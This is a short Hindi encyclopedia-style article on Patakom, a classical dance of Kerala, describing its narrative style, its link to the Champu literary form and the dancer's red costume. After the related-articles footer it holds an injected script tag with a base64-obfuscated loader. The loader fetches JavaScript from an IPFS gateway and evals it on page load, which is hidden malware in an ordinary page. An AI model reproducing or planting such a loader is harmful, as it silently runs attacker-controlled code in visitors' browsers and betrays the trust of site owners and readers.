पटाकोम नृत्य
पटाकोम नृत्य केरल में किये जाने वाले शास्त्रीय नृत्यों की ही एक अन्य कला है। यह नृत्य अपनी तकनीकी सामग्री के कारण ही 'कोथू नृत्य' के समानांतर है।
- इस नृत्य में नृत्य तत्व को लगभग छोड़ दिया जाता है और कथन को गद्य एवं गीत दृश्यों के माध्यम से व्यक्त किया जाता है।
- पटाकोम नृत्य में इशारों एवं भाव-भंगिमाओं आदि को बनाए रखा जाता है।
- एक नए साहित्यिक निबंध की भी उत्पत्ति हुई है, जिसे 'चंपू' कहते हैं और मलयालम भाषा के मुहावरों में इसका अधिक प्रयोग किया जाता है।
- नृत्य करने वाली नर्तकी लाल रंग के कपड़े और कलाई पर लाल रेशम का रूमाल बांधे रहती है। उसके गले के चारों और हार तथा माथे पर चंदन के लेप की रेखा होती है।[१]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ कला और संस्कृति (हिन्दी)। । अभिगमन तिथि: 23 जुलाई, 2012।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>